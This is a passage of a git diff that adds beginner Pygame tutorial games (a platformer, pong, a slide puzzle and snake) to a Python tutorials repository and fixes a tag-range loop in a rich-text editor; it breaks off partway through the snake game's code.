+import pygame +from settings import HEIGHT, WIDTH + +pygame.font.init() + +class Game: + def __init__(self, screen): + self.screen = screen + self.font = pygame.font.SysFont("impact", 70) + self.message_color = pygame.Color("darkorange") + + # if player ran out of life or fell below the platform + def _game_lose(self, player): + player.game_over = True + message = self.font.render('You Lose...', True, self.message_color) + self.screen.blit(message,(WIDTH // 3 + 70, 70)) + + # if player reach the goal + def _game_win(self, player): + player.game_over = True + player.win = True + message = self.font.render('You Win!!', True, self.message_color) + self.screen.blit(message,(WIDTH // 3, 70)) + + # checks if the game is over or not, and if win or lose + def game_state(self, player, goal): + if player.life <= 0 or player.rect.y >= HEIGHT: + self._game_lose(player) + elif player.rect.colliderect(goal.rect): + self._game_win(player) + else: + None + + def show_life(self, player): + life_size = 30 + img_path = "assets/life/life.png" + life_image = pygame.image.load(img_path) + life_image = pygame.transform.scale(life_image, (life_size, life_size)) + # life_rect = life_image.get_rect(topleft = pos) + indent = 0 + for life in range(player.life): + indent += life_size + self.screen.blit(life_image, (indent, life_size)) \ No newline at end of file diff --git a/gui-programming/platformer-game/goal.py b/gui-programming/platformer-game/goal.py new file mode 100644 index 00000000..419e66a4 --- /dev/null +++ b/gui-programming/platformer-game/goal.py @@ -0,0 +1,13 @@ +import pygame + +class Goal(pygame.sprite.Sprite): + def __init__(self, pos, size): + super().__init__() + img_path = 'assets/goal/gate.png' + self.image = pygame.image.load(img_path) + self.image = pygame.transform.scale(self.image, (size, size)) + self.rect = self.image.get_rect(topleft = pos) + + # update object position due to world scroll + def update(self, x_shift): + self.rect.x += x_shift \ No newline at end of file diff --git a/gui-programming/platformer-game/main.py b/gui-programming/platformer-game/main.py new file mode 100644 index 00000000..ac01a83c --- /dev/null +++ b/gui-programming/platformer-game/main.py @@ -0,0 +1,46 @@ +import pygame, sys +from settings import * +from world import World + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT)) +pygame.display.set_caption("Platformer") + +class Platformer: + def __init__(self, screen, width, height): + self.screen = screen + self.clock = pygame.time.Clock() + self.player_event = False + + self.bg_img = pygame.image.load('assets/terrain/bg.jpg') + self.bg_img = pygame.transform.scale(self.bg_img, (width, height)) + + def main(self): + world = World(world_map, self.screen) + while True: + self.screen.blit(self.bg_img, (0, 0)) + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + elif event.type == pygame.KEYDOWN: + if event.key == pygame.K_LEFT: + self.player_event = "left" + if event.key == pygame.K_RIGHT: + self.player_event = "right" + if event.key == pygame.K_SPACE: + self.player_event = "space" + elif event.type == pygame.KEYUP: + self.player_event = False + + world.update(self.player_event) + pygame.display.update() + self.clock.tick(60) + + +if __name__ == "__main__": + play = Platformer(screen, WIDTH, HEIGHT) + play.main() \ No newline at end of file diff --git a/gui-programming/platformer-game/player.py b/gui-programming/platformer-game/player.py new file mode 100644 index 00000000..8f614ca3 --- /dev/null +++ b/gui-programming/platformer-game/player.py @@ -0,0 +1,115 @@ +import pygame +from support import import_sprite + +class Player(pygame.sprite.Sprite): + def __init__(self, pos): + super().__init__() + self._import_character_assets() + self.frame_index = 0 + self.animation_speed = 0.15 + self.image = self.animations["idle"][self.frame_index] + self.rect = self.image.get_rect(topleft = pos) + self.mask = pygame.mask.from_surface(self.image) + + # player movement + self.direction = pygame.math.Vector2(0, 0) + self.speed = 5 + self.jump_move = -16 + + # player status + self.life = 5 + self.game_over = False + self.win = False + self.status = "idle" + self.facing_right = True + self.on_ground = False + self.on_ceiling = False + self.on_left = False + self.on_right = False + + # gets all the image needed for animating specific player action + def _import_character_assets(self): + character_path = "assets/player/" + self.animations = { + "idle": [], + "walk": [], + "jump": [], + "fall": [], + "lose": [], + "win": [] + } + for animation in self.animations.keys(): + full_path = character_path + animation + self.animations[animation] = import_sprite(full_path) + + # animates the player actions + def _animate(self): + animation = self.animations[self.status] + + # loop over frame index + self.frame_index += self.animation_speed + if self.frame_index >= len(animation): + self.frame_index = 0 + image = animation[int(self.frame_index)] + image = pygame.transform.scale(image, (35, 50)) + if self.facing_right: + self.image = image + else: + flipped_image = pygame.transform.flip(image, True, False) + self.image = flipped_image + + # set the rect + if self.on_ground and self.on_right: + self.rect = self.image.get_rect(bottomright = self.rect.bottomright) + elif self.on_ground and self.on_left: + self.rect = self.image.get_rect(bottomleft = self.rect.bottomleft) + elif self.on_ground: + self.rect = self.image.get_rect(midbottom = self.rect.midbottom) + elif self.on_ceiling and self.on_right: + self.rect = self.image.get_rect(topright = self.rect.topright) + elif self.on_ceiling and self.on_left: + self.rect = self.image.get_rect(bottomleft = self.rect.topleft) + elif self.on_ceiling: + self.rect = self.image.get_rect(midtop = self.rect.midtop) + + # checks if the player is moving towards left or right or not moving + def _get_input(self, player_event): + if player_event != False: + if player_event == "right": + self.direction.x = 1 + self.facing_right = True + elif player_event == "left": + self.direction.x = -1 + self.facing_right = False + else: + self.direction.x = 0 + + def _jump(self): + self.direction.y = self.jump_move + + # identifies player action + def _get_status(self): + if self.direction.y < 0: + self.status = "jump" + elif self.direction.y > 1: + self.status = "fall" + elif self.direction.x != 0: + self.status = "walk" + else: + self.status = "idle" + + # update the player's state + def update(self, player_event): + self._get_status() + if self.life > 0 and not self.game_over: + if player_event == "space" and self.on_ground: + self._jump() + else: + self._get_input(player_event) + elif self.game_over and self.win: + self.direction.x = 0 + self.status = "win" + else: + self.direction.x = 0 + self.status = "lose" + self._animate() diff --git a/gui-programming/platformer-game/requirements.txt b/gui-programming/platformer-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/platformer-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/platformer-game/settings.py b/gui-programming/platformer-game/settings.py new file mode 100644 index 00000000..dd578461 --- /dev/null +++ b/gui-programming/platformer-game/settings.py @@ -0,0 +1,15 @@ +world_map = [ + ' ', + ' ', + ' t t ', + ' X XXXXXXXXXs XX X ', + ' tXXXt XX XX XXXX tt XX ', + ' XX XX XXXXX ', + ' Xt t t t X G ', + ' XXXXXX XXXXs XXXXXXXXXXX XX tt t XXX', + ' P XX X XX X X XXXt X XX XX XXX XXXXXXXXs XXXXXX ', + 'XXXXXXX X X X X XXXXXXXXX XX XX XXX XX XX XXXXXXX X ', +] + +tile_size = 50 +WIDTH, HEIGHT = 1000, len(world_map) * tile_size \ No newline at end of file diff --git a/gui-programming/platformer-game/support.py b/gui-programming/platformer-game/support.py new file mode 100644 index 00000000..d0e297b5 --- /dev/null +++ b/gui-programming/platformer-game/support.py @@ -0,0 +1,11 @@ +from os import walk +import pygame + +def import_sprite(path): + surface_list = [] + for _, __, img_file in walk(path): + for image in img_file: + full_path = f"{path}/{image}" + img_surface = pygame.image.load(full_path).convert_alpha() + surface_list.append(img_surface) + return surface_list \ No newline at end of file diff --git a/gui-programming/platformer-game/tile.py b/gui-programming/platformer-game/tile.py new file mode 100644 index 00000000..7e3ec1ec --- /dev/null +++ b/gui-programming/platformer-game/tile.py @@ -0,0 +1,13 @@ +import pygame + +class Tile(pygame.sprite.Sprite): + def __init__(self, pos, size): + super().__init__() + img_path = 'assets/terrain/stone.jpg' + self.image = pygame.image.load(img_path) + self.image = pygame.transform.scale(self.image, (size, size)) + self.rect = self.image.get_rect(topleft = pos) + + # update object position due to world scroll + def update(self, x_shift): + self.rect.x += x_shift \ No newline at end of file diff --git a/gui-programming/platformer-game/trap.py b/gui-programming/platformer-game/trap.py new file mode 100644 index 00000000..45034c1f --- /dev/null +++ b/gui-programming/platformer-game/trap.py @@ -0,0 +1,29 @@ +import pygame +from support import import_sprite + +class Trap(pygame.sprite.Sprite): + def __init__(self, pos, size): + super().__init__() + self.blade_img = import_sprite("assets/trap/blade") + self.frame_index = 0 + self.animation_delay = 3 + self.image = self.blade_img[self.frame_index] + self.image = pygame.transform.scale(self.image, (size, size)) + self.mask = pygame.mask.from_surface(self.image) + self.rect = self.image.get_rect(topleft = pos) + + # adds the spinning effect to the Blade trap + def _animate(self): + sprites = self.blade_img + sprite_index = (self.frame_index // self.animation_delay) % len(sprites) + self.image = sprites[sprite_index] + self.frame_index += 1 + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) + self.mask = pygame.mask.from_surface(self.image) + if self.frame_index // self.animation_delay > len(sprites): + self.frame_index = 0 + + # update object position due to world scroll + def update(self, x_shift): + self._animate() + self.rect.x += x_shift diff --git a/gui-programming/platformer-game/world.py b/gui-programming/platformer-game/world.py new file mode 100644 index 00000000..3d78bc0d --- /dev/null +++ b/gui-programming/platformer-game/world.py @@ -0,0 +1,143 @@ +import pygame +from settings import tile_size, WIDTH +from tile import Tile +from trap import Trap +from goal import Goal +from player import Player +from game import Game + +class World: + def __init__(self, world_data, screen): + self.screen = screen + self.world_data = world_data + self._setup_world(world_data) + self.world_shift = 0 + self.current_x = 0 + self.gravity = 0.7 + self.game = Game(self.screen) + + # generates the world + def _setup_world(self, layout): + self.tiles = pygame.sprite.Group() + self.traps = pygame.sprite.Group() + self.player = pygame.sprite.GroupSingle() + self.goal = pygame.sprite.GroupSingle() + + for row_index, row in enumerate(layout): + for col_index, cell in enumerate(row): + x, y = col_index * tile_size, row_index * tile_size + if cell == "X": + tile = Tile((x, y), tile_size) + self.tiles.add(tile) + elif cell == "t": + tile = Trap((x + (tile_size // 4), y + (tile_size // 4)), tile_size // 2) + self.traps.add(tile) + elif cell == "P": + player_sprite = Player((x, y)) + self.player.add(player_sprite) + elif cell == "G": + goal_sprite = Goal((x, y), tile_size) + self.goal.add(goal_sprite) + + # world scroll when the player is walking towards left/right + def _scroll_x(self): + player = self.player.sprite + player_x = player.rect.centerx + direction_x = player.direction.x + + if player_x < WIDTH // 3 and direction_x < 0: + self.world_shift = 8 + player.speed = 0 + elif player_x > WIDTH - (WIDTH // 3) and direction_x > 0: + self.world_shift = -8 + player.speed = 0 + else: + self.world_shift = 0 + player.speed = 3 + + # add gravity for player to fall + def _apply_gravity(self, player): + player.direction.y += self.gravity + player.rect.y += player.direction.y + + # prevents player to pass through objects horizontally + def _horizontal_movement_collision(self): + player = self.player.sprite + player.rect.x += player.direction.x * player.speed + + for sprite in self.tiles.sprites(): + if sprite.rect.colliderect(player.rect): + # checks if moving towards left + if player.direction.x < 0: + player.rect.left = sprite.rect.right + player.on_left = True + self.current_x = player.rect.left + # checks if moving towards right + elif player.direction.x > 0: + player.rect.right = sprite.rect.left + player.on_right = True + self.current_x = player.rect.right + if player.on_left and (player.rect.left < self.current_x or player.direction.x >= 0): + player.on_left = False + if player.on_right and (player.rect.right > self.current_x or player.direction.x <= 0): + player.on_right = False + + # prevents player to pass through objects vertically + def _vertical_movement_collision(self): + player = self.player.sprite + self._apply_gravity(player) + + for sprite in self.tiles.sprites(): + if sprite.rect.colliderect(player.rect): + # checks if moving towards bottom + if player.direction.y > 0: + player.rect.bottom = sprite.rect.top + player.direction.y = 0 + player.on_ground = True + # checks if moving towards up + elif player.direction.y < 0: + player.rect.top = sprite.rect.bottom + player.direction.y = 0 + player.on_ceiling = True + if player.on_ground and player.direction.y < 0 or player.direction.y > 1: + player.on_ground = False + if player.on_ceiling and player.direction.y > 0: + player.on_ceiling = False + + # add consequences when player run through traps + def _handle_traps(self): + player = self.player.sprite + + for sprite in self.traps.sprites(): + if sprite.rect.colliderect(player.rect): + if player.direction.x < 0 or player.direction.y > 0: + player.rect.x += tile_size + elif player.direction.x > 0 or player.direction.y > 0: + player.rect.x -= tile_size + player.life -= 1 + + # updating the game world from all changes commited + def update(self, player_event): + # for tile + self.tiles.update(self.world_shift) + self.tiles.draw(self.screen) + + # for trap + self.traps.update(self.world_shift) + self.traps.draw(self.screen) + + # for goal + self.goal.update(self.world_shift) + self.goal.draw(self.screen) + + self._scroll_x() + + # for player + self._horizontal_movement_collision() + self._vertical_movement_collision() + self._handle_traps() + self.player.update(player_event) + self.game.show_life(self.player.sprite) + self.player.draw(self.screen) + + self.game.game_state(self.player.sprite, self.goal.sprite) diff --git a/gui-programming/pong-game/README.md b/gui-programming/pong-game/README.md new file mode 100644 index 00000000..fac7a789 --- /dev/null +++ b/gui-programming/pong-game/README.md @@ -0,0 +1 @@ +# [How to Create a Pong Game in Python](https://thepythoncode.com/article/build-a-pong-game-in-python) \ No newline at end of file diff --git a/gui-programming/pong-game/ball.py b/gui-programming/pong-game/ball.py new file mode 100644 index 00000000..7a069cb7 --- /dev/null +++ b/gui-programming/pong-game/ball.py @@ -0,0 +1,42 @@ +import pygame, sys +import random +from settings import WIDTH, HEIGHT + +pygame.init() + +class Ball: + def __init__(self, x, y, radius): + self.x = x + self.y = y + self.radius = radius + self.rect = pygame.Rect(self.x, self.y, radius, radius) + self.color = pygame.Color("red") + self.direction = None + self.speed_x = 0 + self.speed_y = 0 + self._random_direction() + + def _random_direction(self): + direction = ("right", "left") + self.direction = random.choice(direction) + + def _ball_movement(self): + # horizontal handling + if self.direction == "right": + self.speed_x = 18 + else: + self.speed_x = -18 + + # vertical handling + if self.rect.y >= HEIGHT - self.radius: + self.speed_y = -18 + elif self.rect.y <= 0 + self.radius: + self.speed_y = 18 + + # wall bounce handling + self.rect.x += self.speed_x + self.rect.y += self.speed_y + + def update(self, screen): + self._ball_movement() + pygame.draw.rect(screen, self.color, self.rect) \ No newline at end of file diff --git a/gui-programming/pong-game/main.py b/gui-programming/pong-game/main.py new file mode 100644 index 00000000..c4913973 --- /dev/null +++ b/gui-programming/pong-game/main.py @@ -0,0 +1,37 @@ +import pygame, sys +from settings import WIDTH, HEIGHT +from table import Table + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT)) +pygame.display.set_caption("Ping Pong") + +class Pong: + def __init__(self, screen): + self.screen = screen + self.FPS = pygame.time.Clock() + + def draw(self): + pygame.display.flip() + + def main(self): + # start menu here + table = Table(self.screen) # pass to table the player_option saved to table.game_mode + while True: + self.screen.fill("black") + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + table.player_move() + table.update() + self.draw() + self.FPS.tick(30) + + +if __name__ == "__main__": + play = Pong(screen) + play.main() \ No newline at end of file diff --git a/gui-programming/pong-game/player.py b/gui-programming/pong-game/player.py new file mode 100644 index 00000000..34004715 --- /dev/null +++ b/gui-programming/pong-game/player.py @@ -0,0 +1,20 @@ +import pygame + +class Player: + def __init__(self, x, y, width, height): + self.x = x + self.y = y + self.rect = pygame.Rect(self.x, self.y, width, height) + self.color = pygame.Color("gray") + self.player_speed = 16 + + self.score = 0 + + def move_up(self): + self.rect.y -= self.player_speed + + def move_bottom(self): + self.rect.y += self.player_speed + + def update(self, screen): + pygame.draw.rect(screen, self.color, self.rect) \ No newline at end of file diff --git a/gui-programming/pong-game/requirements.txt b/gui-programming/pong-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/pong-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/pong-game/settings.py b/gui-programming/pong-game/settings.py new file mode 100644 index 00000000..7fad2059 --- /dev/null +++ b/gui-programming/pong-game/settings.py @@ -0,0 +1,3 @@ +WIDTH, HEIGHT = 990, 450 + +player_width, player_height = 20, 90 \ No newline at end of file diff --git a/gui-programming/pong-game/table.py b/gui-programming/pong-game/table.py new file mode 100644 index 00000000..877d2275 --- /dev/null +++ b/gui-programming/pong-game/table.py @@ -0,0 +1,94 @@ +import pygame, time +import sys +from player import Player +from ball import Ball +from settings import WIDTH, HEIGHT, player_width, player_height + +class Table: + def __init__(self, screen): + self.screen = screen + self.game_over = False + self.score_limit = 10 + self.winner = None + self._generate_world() + + # text info + self.font = pygame.font.SysFont('Bauhaus 93', 60) + self.inst_font = pygame.font.SysFont('Bauhaus 93', 30) + self.color = pygame.Color("white") + + # create and add player to the screen + def _generate_world(self): + self.playerA = Player(0, HEIGHT // 2 - (player_height // 2), player_width, player_height) + self.playerB = Player(WIDTH - player_width, HEIGHT // 2 - (player_height // 2), player_width, player_height) + self.ball = Ball(WIDTH // 2 - player_width, HEIGHT - player_width, player_width) + + def _ball_hit(self): + # if ball is not hit by a player and pass through table sides + if self.ball.rect.left >= WIDTH: + self.playerA.score += 1 + self.ball.rect.x = WIDTH // 2 + time.sleep(1) + elif self.ball.rect.right <= 0: + self.playerB.score += 1 + self.ball.rect.x = WIDTH // 2 + time.sleep(1) + + # if ball land in the player + if pygame.Rect.colliderect(self.ball.rect, self.playerA.rect): + self.ball.direction = "right" + if pygame.Rect.colliderect(self.ball.rect, self.playerB.rect): + self.ball.direction = "left" + + def _bot_opponent(self): + if self.ball.direction == "left" and self.ball.rect.centery != self.playerA.rect.centery: + if self.ball.rect.top <= self.playerA.rect.top: + if self.playerA.rect.top > 0: + self.playerA.move_up() + if self.ball.rect.bottom >= self.playerA.rect.bottom: + if self.playerA.rect.bottom < HEIGHT: + self.playerA.move_bottom() + + def player_move(self): + keys = pygame.key.get_pressed() + + # for bot opponent controls + self._bot_opponent() + + # for player controls + if keys[pygame.K_UP]: + if self.playerB.rect.top > 0: + self.playerB.move_up() + if keys[pygame.K_DOWN]: + if self.playerB.rect.bottom < HEIGHT: + self.playerB.move_bottom() + + def _show_score(self): + A_score, B_score = str(self.playerA.score), str(self.playerB.score) + A_score = self.font.render(A_score, True, self.color) + B_score = self.font.render(B_score, True, self.color) + self.screen.blit(A_score, (WIDTH // 4, 50)) + self.screen.blit(B_score, ((WIDTH // 4) * 3, 50)) + + def _game_end(self): + if self.winner != None: + print(f"{self.winner} wins!!") + pygame.quit() + sys.exit() + + def update(self): + self._show_score() + + self.playerA.update(self.screen) + self.playerB.update(self.screen) + + self._ball_hit() + + if self.playerA.score == self.score_limit: + self.winner = "Opponent" + + elif self.playerB.score == self.score_limit: + self.winner = "You" + + self._game_end() + self.ball.update(self.screen) \ No newline at end of file diff --git a/gui-programming/rich-text-editor/rich_text_editor.py b/gui-programming/rich-text-editor/rich_text_editor.py index 10c14263..05259905 100644 --- a/gui-programming/rich-text-editor/rich_text_editor.py +++ b/gui-programming/rich-text-editor/rich_text_editor.py @@ -112,9 +112,9 @@ def fileManager(event=None, action=None): document['tags'][tagName] = [] ranges = textArea.tag_ranges(tagName) - - for i, tagRange in enumerate(ranges[::2]): - document['tags'][tagName].append([str(tagRange), str(ranges[i+1])]) + + for i in range(0, len(ranges), 2): + document['tags'][tagName].append([str(ranges[i]), str(ranges[i + 1])]) if not filePath: # ask the user for a filename with the native file explorer. diff --git a/gui-programming/slide-puzzle/README.md b/gui-programming/slide-puzzle/README.md new file mode 100644 index 00000000..6190805e --- /dev/null +++ b/gui-programming/slide-puzzle/README.md @@ -0,0 +1 @@ +# [How to Create a Slide Puzzle Game in Python](https://www.thepythoncode.com/article/slide-puzzle-game-in-python) \ No newline at end of file diff --git a/gui-programming/slide-puzzle/cell.py b/gui-programming/slide-puzzle/cell.py new file mode 100644 index 00000000..0c92489a --- /dev/null +++ b/gui-programming/slide-puzzle/cell.py @@ -0,0 +1,29 @@ +import pygame + +class Cell: + def __init__(self, row, col, cell_size, c_id): + self.row = row + self.col = col + self.cell_size = cell_size + self.width = self.cell_size[0] + self.height = self.cell_size[1] + self.abs_x = row * self.width + self.abs_y = col * self.height + + self.c_id = c_id + + self.rect = pygame.Rect( + self.abs_x, + self.abs_y, + self.width, + self.height + ) + + self.occupying_piece = None + + def draw(self, display): + pygame.draw.rect(display, (0,0,0), self.rect) + if self.occupying_piece != None and self.occupying_piece.p_id != 8: + centering_rect = self.occupying_piece.img.get_rect() + centering_rect.center = self.rect.center + display.blit(self.occupying_piece.img, centering_rect.topleft) \ No newline at end of file diff --git a/gui-programming/slide-puzzle/frame.py b/gui-programming/slide-puzzle/frame.py new file mode 100644 index 00000000..04647307 --- /dev/null +++ b/gui-programming/slide-puzzle/frame.py @@ -0,0 +1,95 @@ +import pygame +import random + +from cell import Cell +from piece import Piece + +class Frame: + def __init__(self, frame_size): + self.grid_size = 3 + self.cell_width = frame_size // self.grid_size + self.cell_height = frame_size // self.grid_size + self.cell_size = (self.cell_width, self.cell_height) + + self.grid = self._generate_cell() + self.pieces = self._generate_piece() + + self._setup() + self.randomize_puzzle() + + def _generate_cell(self): + cells = [] + c_id = 0 + for col in range(self.grid_size): + new_row = [] + for row in range(self.grid_size): + new_row.append(Cell(row, col, self.cell_size, c_id)) + c_id += 1 + cells.append(new_row) + return cells + + def _generate_piece(self): + puzzle_pieces = [] + p_id = 0 + for col in range(self.grid_size): + for row in range(self.grid_size): + puzzle_pieces.append(Piece(self.cell_size, p_id)) + p_id += 1 + return puzzle_pieces + + def _setup(self): + for row in self.grid: + for cell in row: + tile_piece = self.pieces[-1] + cell.occupying_piece = tile_piece + self.pieces.remove(tile_piece) + + def randomize_puzzle(self): + moves = [(0, 1),(0, -1),(1, 0),(-1, 0)] + for i in range(30): + shuffle_move = random.choice(moves) + for row in self.grid: + for cell in row: + tile_x = self.grid.index(row) + shuffle_move[0] + tile_y = row.index(cell) + shuffle_move[1] + if tile_x >= 0 and tile_x <= 2 and tile_y >= 0 and tile_y <= 2: + new_cell = self.grid[tile_x][tile_y] + if new_cell.occupying_piece.img == None: + c = (cell, new_cell) + try: + c[0].occupying_piece, c[1].occupying_piece = c[1].occupying_piece, c[0].occupying_piece + except: + return False + else: + continue + + def _is_move_valid(self, click): + moves = { + 79: (0, 1), + 80: (0, -1), + 81: (1, 0), + 82: (-1, 0) + } + for row in self.grid: + for cell in row: + move = moves[click.scancode] + tile_x = self.grid.index(row) + move[0] + tile_y = row.index(cell) + move[1] + if tile_x >= 0 and tile_x <= 2 and tile_y >= 0 and tile_y <= 2: + new_cell = self.grid[tile_x][tile_y] + if new_cell.occupying_piece.img == None: + return (cell, new_cell) + else: + continue + + def handle_click(self, click): + c = self._is_move_valid(click) + try: + c[0].occupying_piece, c[1].occupying_piece = c[1].occupying_piece, c[0].occupying_piece + except: + return False + + def draw(self, display): + for row in self.grid: + for cell in row: + cell.draw(display) diff --git a/gui-programming/slide-puzzle/game.py b/gui-programming/slide-puzzle/game.py new file mode 100644 index 00000000..7a51e13c --- /dev/null +++ b/gui-programming/slide-puzzle/game.py @@ -0,0 +1,32 @@ +import pygame + +pygame.font.init() + +class Game: + def __init__(self): + self.font = pygame.font.SysFont("Courier New", 35) + self.background_color = (255, 174, 66) + self.message_color = (17, 53, 165) + + def arrow_key_clicked(self, click): + try: + if click.key == pygame.K_LEFT or click.key == pygame.K_RIGHT or click.key == pygame.K_UP or click.key == pygame.K_DOWN: + return(True) + except: + return(False) + + def is_game_over(self, frame): + for row in frame.grid: + for cell in row: + piece_id = cell.occupying_piece.p_id + if cell.c_id == piece_id: + is_arranged = True + else: + is_arranged = False + break + return is_arranged + + def message(self, screen): + screen.fill(self.background_color, (5, 460, 440, 35)) + instructions = self.font.render('You Win!!', True, self.message_color) + screen.blit(instructions,(125,460)) \ No newline at end of file diff --git a/gui-programming/slide-puzzle/main.py b/gui-programming/slide-puzzle/main.py new file mode 100644 index 00000000..247d530e --- /dev/null +++ b/gui-programming/slide-puzzle/main.py @@ -0,0 +1,59 @@ +import pygame + +from frame import Frame +from game import Game + +pygame.init() +pygame.font.init() + +class Puzzle: + def __init__(self, screen): + self.screen = screen + self.running = True + self.FPS = pygame.time.Clock() + self.is_arranged = False + self.font = pygame.font.SysFont("Courier New", 33) + self.background_color = (255, 174, 66) + self.message_color = (17, 53, 165) + + def _draw(self, frame): + frame.draw(self.screen) + pygame.display.update() + + def _instruction(self): + instructions = self.font.render('Use Arrow Keys to Move', True, self.message_color) + screen.blit(instructions,(5,460)) + + def main(self, frame_size): + self.screen.fill("white") + frame = Frame(frame_size) + game = Game() + self._instruction() + while self.running: + + if game.is_game_over(frame): + self.is_arranged = True + game.message(self.screen) + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + self.running = False + + if event.type == pygame.KEYDOWN: + if not self.is_arranged: + if game.arrow_key_clicked(event): + frame.handle_click(event) + + self._draw(frame) + self.FPS.tick(30) + + pygame.quit() + + +if __name__ == "__main__": + window_size = (450, 500) + screen = pygame.display.set_mode(window_size) + pygame.display.set_caption("Slide Puzzle") + + game = Puzzle(screen) + game.main(window_size[0]) \ No newline at end of file diff --git a/gui-programming/slide-puzzle/piece.py b/gui-programming/slide-puzzle/piece.py new file mode 100644 index 00000000..b07647fc --- /dev/null +++ b/gui-programming/slide-puzzle/piece.py @@ -0,0 +1,13 @@ +import pygame + +class Piece: + def __init__(self, piece_size, p_id): + self.piece_size = piece_size + self.p_id = p_id + + if self.p_id != 8: + img_path = f'puzz-pieces/{self.p_id}.jpg' + self.img = pygame.image.load(img_path) + self.img = pygame.transform.scale(self.img, self.piece_size) + else: + self.img = None \ No newline at end of file diff --git a/gui-programming/slide-puzzle/puzz-pieces/0.jpg b/gui-programming/slide-puzzle/puzz-pieces/0.jpg new file mode 100644 index 00000000..051d8315 Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/0.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/1.jpg b/gui-programming/slide-puzzle/puzz-pieces/1.jpg new file mode 100644 index 00000000..eddfd295 Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/1.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/2.jpg b/gui-programming/slide-puzzle/puzz-pieces/2.jpg new file mode 100644 index 00000000..d3d2ffa0 Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/2.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/3.jpg b/gui-programming/slide-puzzle/puzz-pieces/3.jpg new file mode 100644 index 00000000..77f61e3e Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/3.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/4.jpg b/gui-programming/slide-puzzle/puzz-pieces/4.jpg new file mode 100644 index 00000000..592c306f Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/4.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/5.jpg b/gui-programming/slide-puzzle/puzz-pieces/5.jpg new file mode 100644 index 00000000..0bb5ed4b Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/5.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/6.jpg b/gui-programming/slide-puzzle/puzz-pieces/6.jpg new file mode 100644 index 00000000..d0fe5e3c Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/6.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/7.jpg b/gui-programming/slide-puzzle/puzz-pieces/7.jpg new file mode 100644 index 00000000..99a6fa64 Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/7.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/8.jpg b/gui-programming/slide-puzzle/puzz-pieces/8.jpg new file mode 100644 index 00000000..8bc3f901 Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/8.jpg differ diff --git a/gui-programming/slide-puzzle/requirements.txt b/gui-programming/slide-puzzle/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/slide-puzzle/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/snake-game/README.md b/gui-programming/snake-game/README.md new file mode 100644 index 00000000..6745bc0f --- /dev/null +++ b/gui-programming/snake-game/README.md @@ -0,0 +1 @@ +# [How to Make a Snake Game in Python](https://www.thepythoncode.com/article/make-a-snake-game-with-pygame-in-python) \ No newline at end of file diff --git a/gui-programming/snake-game/requirements.txt b/gui-programming/snake-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/snake-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/snake-game/snake.py b/gui-programming/snake-game/snake.py new file mode 100644 index 00000000..b99c141f --- /dev/null +++ b/gui-programming/snake-game/snake.py @@ -0,0 +1,156 @@ +import pygame +import random + +# setting up some initial parameters +WIDTH, HEIGHT = 600, 600 +BLOCK_SIZE = 20 + +pygame.font.init() +score_font = pygame.font.SysFont("consolas", 20) # or any other font you'd like +score = 0 + +# color definition +WHITE = (255, 255, 255) +RED = (255, 0, 0) + +# initialize pygame +pygame.init() + +# setting up display +win = pygame.display.set_mode((WIDTH, HEIGHT)) + +# setting up clock +clock = pygame.time.Clock() + +# snake and food initialization +snake_pos = [[WIDTH//2, HEIGHT//2]] +snake_speed = [0, BLOCK_SIZE] + +teleport_walls = True # set this to True to enable wall teleporting + + +def generate_food(): + while True: + x = random.randint(0, (WIDTH - BLOCK_SIZE) // BLOCK_SIZE ) * BLOCK_SIZE + y = random.randint(0, (HEIGHT - BLOCK_SIZE) // BLOCK_SIZE ) * BLOCK_SIZE + food_pos = [x, y] + if food_pos not in snake_pos: + return food_pos + +food_pos = generate_food() + +def draw_objects(): + win.fill((0, 0, 0)) + for pos in snake_pos: + pygame.draw.rect(win, WHITE, pygame.Rect(pos[0], pos[1], BLOCK_SIZE, BLOCK_SIZE)) + pygame.draw.rect(win, RED, pygame.Rect(food_pos[0], food_pos[1], BLOCK_SIZE, BLOCK_SIZE)) + # Render the score + score_text = score_font.render(f"Score: {score}", True, WHITE) + win.blit(score_text, (10, 10)) # draws the score on the top-left corner + + +def update_snake(): + global food_pos, score + new_head = [snake_pos[0][0] + snake_speed[0], snake_pos[0][1] + snake_speed[1]] + + if teleport_walls: + # if the new head position is outside of the screen, wrap it to the other side + if new_head[0] >= WIDTH: + new_head[0] = 0 + elif new_head[0] < 0: + new_head[0] = WIDTH - BLOCK_SIZE + if new_head[1] >= HEIGHT: + new_head[1] = 0 + elif new_head[1] < 0: + new_head[1] = HEIGHT - BLOCK_SIZE + + if new_head == food_pos: + food_pos = generate_food() # generate new food + score += 1 # 